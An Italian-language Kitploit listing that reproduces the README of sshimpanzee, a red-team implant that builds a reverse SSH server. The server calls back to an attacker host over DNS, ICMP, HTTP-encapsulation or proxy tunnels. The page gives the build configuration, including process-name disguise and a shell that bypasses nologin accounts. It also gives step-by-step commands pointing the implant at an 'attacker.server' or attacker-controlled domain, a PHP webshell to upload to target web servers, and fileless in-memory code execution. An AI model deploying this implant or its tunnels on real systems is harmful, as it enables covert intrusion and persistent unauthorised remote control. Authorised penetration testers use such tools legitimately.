Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
sshimpanzee — Impianto basato su SSHD che supporta meccanismi di tunneling per raggiungere il C2 (DNS, ICMP, HTTP Encapsulation, HTTP/Socks Proxies, UDP...) | Kitploit
Strumenti/GitHubGitHub/lexfo/sshimpanzee
Generazione di PayloadPost-ExploitSicurezza di ReteCommand and ControlRed TeamingStrumento di Accesso RemotoAnalisi DNS
GitHublexfo/sshimpanzee

sshimpanzee

Impianto basato su SSHD che supporta meccanismi di tunneling per raggiungere il C2 (DNS, ICMP, HTTP Encapsulation, HTTP/Socks Proxies, UDP...)

Vedi Repository
293291 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

Sshimpanzee

Sshimpanzee ti permette di costruire un server ssh reverse statico. Invece di mettersi in ascolto su una porta e attendere connessioni, il server ssh avvierà una connessione inversa verso l'IP dell'attaccante, proprio come una normale reverse shell. Sshimpanzee ti permette di sfruttare tutte le funzionalità di una normale connessione ssh, come port forwarding, proxy dinamici SOCKS o server FTP.

Ancora più importante, se una connessione diretta dalla macchina vittima al server attaccante non è possibile, fornisce diversi meccanismi di tunneling come DNS Tunnelling, ICMP Tunnelling o HTTP Encapsulation. Supporta anche proxy HTTP e SOCKS5. Un articolo tecnico è disponibile sul blog di lexfo.

BUILD DOCKER - RACCOMANDATO

root@kitploit:~
sudo docker build . --output . 
sudo docker build . --platform arm64 --output . 

Potrebbe essere necessario abilitare la variabile d'ambiente DOCKER_BUILDKIT=1

File di compilazione

La build viene creata sulla base del file build.yaml:

root@kitploit:~

###
# This is sshimpanzee build configuration file
# YAML is used to describe what behaviour and feature should the sshimpanzee get
###

### General config

process_name: "sshimpanzee" # Name of the process as it appears in ps (yet you won't be able to kill it with this name)


banner: True # Should the banner be displayed at log
verbose: 3 # Verbosity level as written in build/build.log

shell: "/bin/sh" # Default shell to pop for user, bypassing /etc/passwd entries with false or nologin as shell
timer: 60*1000*1000  # Time in milliseconds before a new sshimpanzee child is forked after exiting. For example in sock MODE, a new sshd connection will be made 1 minute after the previous one is dead

keygen: True # Re generate keys during build, insure a new HOST and CLIENT keys is used
public_key: #if new keys are not regenerated it is possible to specify a public client key to authenticate (only ed25519 keys are supported)
#public key: "ssh-ed25519 .... ROGUE@ROGUE"

make: True # Keep it to true if you want the builder script to generate sshd binary
force_clean_build: True #Currently required for docker builds, will force builder script to recompile tunnels and dependances
reconf: True # Required for docker builds


### Environment
# sshimpanzee is configured at runtime through environment variables, yet, it is possible to preset environment variable, to get a default behavior


env:
  if_not_set : # Variable here will be set if they do not already exists
    REMOTE: 127.0.0.1
    PORT: 8080
    MODE: sock # MODE environment variable is used to manage the default tunnel
  overwrite: # Variable here will overwrite already existent 
    

### Tunnels
# sshimpanzee come with different tunneling mecanisms
# To speed up compilation time, and more importantly to get a lighter binary it is possible to include or exclude some tunnels
# Tunnel compilation parameters can be specified here 
tun:
  sock:
      enabled: True

  icmp:
      enabled: True
      buildserv: True # should the corresponding ICMPTunnel server be built 
      raw_sock: False # build with support for raw sock for older kernels

  http_enc :
      enabled: True
      key: # web shell key, empty will result in a new key being generated
      target:
        - "php" # list of language you want to generate webshells for 
      path_fd: "/dev/shm/sshim" # Fifo that sshimpanzee will use to communicate with webshells

  dns:
      enabled: True    
      resource: sshimpanzee # DNS2TCP Resource
      key: sshimpanzee # DNS2TCP key
      obfuscate: True # obfuscating DNS2TCP Magic string, this will force the build of the corresponding srver
      buildserv: False 
      qtype: TXT # Type of query used by DNS2TCP

  proxysock:
      enabled: True

  no_build:
      enabled: False 
      path: []

# Openssh subsystems
# man sshd_config Subsystems

subsystems:

  internal_sftp: # standard sftp as provided by openssh 
    enabled: True # It is required for scp and sftp
    name: sftp
    exec: internal-sftp
    is_internal: True
    
  remote_exec: # Sshimpanzee custom subsystem
    enabled: True # remote execution using fileless memfd technique
    name: remote-exec
    exec: internal-remote-exec
    is_internal: True

  python: # example of a stadard ssh subsystem
    enabled: False
    name: python
    exec: /usr/bin/python -c "print('python code')"
    is_internal: False

Utilizzo

A runtime, il binario sshimpanzee viene configurato tramite variabili d'ambiente. La variabile MODE permette all'utente di selezionare tra i tunnel compilati. Ogni tunnel può essere configurato tramite variabili d'ambiente. Ad esempio, per ottenere una classica connessione inversa verso 127.0.0.1:8080 usa il seguente comando:

root@kitploit:~
MODE=socks REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee

È possibile eseguire sshimpanzee in modalità debug con -d. In modalità debug sshimpanzee rimarrà in primo piano.

Tunnel

Attualmente sshimpanzee supporta diversi modi per cui l'impianto può contattare il client ssh dell'attaccante:

  • DNS Tunnelling usando il protocollo dns2tcp
  • Proxy: HTTP/SOCKS4/SOCKS5
  • Socket: (potrebbe essere utile se vuoi implementare i tuoi tunnel)
  • Tunnel ICMP
  • Incapsulamento HTTP

Connessione via Socket

  1. Esegui ssh lato client come segue:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. Esegui sshimpanzee sul target:
root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 ./sshimpanzee 

Altri esempi:

root@kitploit:~
MODE=sock REMOTE=127.0.0.1 PORT=8080 SSHIM_LISTEN= ./sshimpanzee  # si lega e ascolta su 127.0.0.1:8080

MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX ./sshimpanzee # Si connette al socket Unix /tmp/sock
MODE=sock UNIXPATH=/tmp/sock SSHIM_UNIX= SSHIM_LISTEN= ./sshimpanzee # Si lega e ascolta sul socket Unix /tmp/sock 

Connessione tramite proxy

  1. Esegui ssh lato client come segue:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 4444" -i CLIENT
  1. Esegui sshimpanzee sul target:
root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=socks5://proxy.lan:8080 ./sshimpanzee

Altri esempi:

root@kitploit:~
MODE=proxysock REMOTE=attacker.server PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee
MODE=proxysock REMOTE=attacker.server PROXY_USER=user PROXY_PASS=password PORT=4444 http_proxy=http://proxy.lan:8080 ./sshimpanzee

Usare il DNS Tunneling

  1. Sul tuo server esegui il dns2tcpd standard usando il file di configurazione in questo repository, dovrai modificare il dominio (e la porta della risorsa se desideri).
root@kitploit:~
listen = 0.0.0.0
port = 53
user = nobody
key = sshimpanzee
chroot = /var/empty/dns2tcp/
domain = <SERVER>
resources = sshimpanzee:127.0.0.1:8080
root@kitploit:~
sudo ./dns2tcpd -F -f dns2tcpdrc
  1. Esegui ssh lato client come segue:
root@kitploit:~
ssh [email protected] -oProxyCommand="nc -lp 8080" -i CLIENT
  1. Esegui il binario sshimpanzee:
root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain ./sshimpanzee

Altri esempi:

root@kitploit:~
MODE=dns REMOTE=attacker.controled.domain RESOLVER=8.8.8.8 ./sshimpanzee # Forza l'uso del risolutore DNS 8.8.8.8

Usare il tunneling ICMP

  1. Sul tuo server, aggiungi le capacità appropriate per evitare di eseguire il proxycommand come root e disabilita la risposta ping dal sistema
root@kitploit:~
sudo setcap cap_net_raw+ep icmptunnel
echo 1 | sudo dd of=/proc/sys/net/ipv4/icmp_echo_ignore_all 
  1. Esegui il client ssh standard con icmptunnel come proxycommand:
root@kitploit:~
ssh i -oProxyCommand=./icmptunnel -i test/CLIENT 
  1. Esegui il binario sshimpanzee:
root@kitploit:~
MODE=icmp REMOTE=127.0.0.1 ./sshimpanzee 

Usare l'incapsulamento HTTP (ssh -> server HTTP -> sshd)

  1. Carica il file /tuns/http_enc/proxy.php e i file sshd sul tuo server web target

  2. Assicurati che proxy.php venga eseguito correttamente

  3. Esegui il binario sshd sul server web

root@kitploit:~
MODE=http_enc ./sshimpanzee 
  1. Esegui ssh sulla macchina client con lo script python in utils/scripts/ come comando proxy:
root@kitploit:~
ssh -o ProxyCommand='python proxy_cli.py http://127.0.0.1:8080/proxy.php EncryptionKey 2>/dev/null' a@a -i ../../keys/CLIENT 

Si possono passare più argomenti a proxy_cli.py per aggiungere proxy. Attualmente è supportato solo PHP. Su un server JSP, si consiglia di usare: A Black Path Toward The Sun (ABPTTS)

Note secondarie sull'incapsulamento HTTP

  1. Proxy.php è una webshell minima, puoi usarla per caricare sshd sul server ed eseguire comandi. proxy_cli.py offre le opzioni --run e --drop per farlo.

  2. Potresti riscontrare un enorme ritardo di input, ciò è dovuto al fatto che viene aggiunto un ritardo da 1 a 5 secondi al pacchetto inviato dal client ssh per evitare di generare troppe richieste HTTP. Se non ti dispiace generare molte richieste HTTP (e quindi molti log sul server web), aggiungi l'opzione --no-buffer al comando proxy_cli.py.

Usare il client sshimpanzee

Questo repository fornisce anche un client situato in utils/client/bin. Basta copiare la chiave CLIENT in utils/client/keys/

root@kitploit:~
sshimpanzee --new PORT #crea un nuovo listener sulla porta PORT
sshimpanzee --new-dns #crea un nuovo listener DNS (non dimenticare di modificare utils/client/config/dnsconf.txt)
sshimpanzee --new-icmp #crea un nuovo listener ICMP
sshimpanzee --new-http PROXY_PHP_URL #crea una nuova sessione HTTP

sshimpanzee --list #elenca le sessioni disponibili

sshimpanzee --get SESSION_NUMBER #per entrare in una sessione; eventuali parametri extra vengono passati come parametri ssh
sshimpanzee --rename SESSION_NUMBER #per rinominare una sessione
sshimpanzee --kill SESSION_NUMBER #per terminare una sessione
sshimpanzee #usa fzf per selezionare la sessione desiderata

Tuttavia potrebbe essere meno affidabile rispetto all'uso diretto di ssh.

Creare il proprio meccanismo di tunnel

Tutti i tunnel sono disponibili nella directory tuns/. Se vuoi aggiungere un altro tunnel, aggiungi semplicemente una funzione con il nome del tuo tunnel in tuns/builder.py. Questa funzione è responsabile di generare un archivio libtun.a contenente tanti .o quanti necessari, con uno di essi che esporta un simbolo tun(). In alternativa, puoi compilare tu stesso libtun.a e usare il tunnel chiamato no_build, fornendo il percorso alla tua libtun.a personalizzata.

Usare l'esecuzione senza file

Se sshimpanzee è compilato con il modulo subsystem remote-exec, è possibile eseguire codice in remoto completamente in memoria.

root@kitploit:~

python remote_loader.py "ssh -vvvv t@t -S ./SOCKET -s remote-exec" /home/titouan/tools/Misc/RustScan/target/release/rustscan -a 127.0.0.1

Lavori futuri

  • Aggiungere altri tunnel:
    • Incapsulamento HTTP (primo passo attraverso http_enc e proxy.php: aggiungere JSP e altri programmi)
    • Stack TCP/IP in userland con raw sock?
    • ICMP: Xor/Cifrare stringhe per evitare il rilevamento in caso di analisi di rete
    • Subsystem per post-exploitation:
      • Procdump
      • Scansione TCP

Ringraziamenti

Questo repository si basa su molti progetti diversi.

  • Prima di tutto, Openssh-portable (9.1): https://github.com/openssh/openssh-portable
  • La libc musl per compilarlo staticamente: https://wiki.musl-libc.org/

Per i tunnel:

  • Dns2tcp: https://github.com/alex-sector/dns2tcp
  • icmptunnel (pesantemente modificato per migliorare la resilienza del tunnel): https://github.com/DhavalKapil/icmptunnel.git
  • Proxysocket: https://github.com/brechtsanders/proxysocket

È importante notare che non si tratta di un progetto molto originale, l'armamento del protocollo ssh è già stato fatto diversi anni fa:

  • https://github.com/Marc-andreLabonte/blackbear
  • https://github.com/Fahrj/reverse-ssh
  • https://github.com/NHAS/reverse_ssh
Scarica lo strumento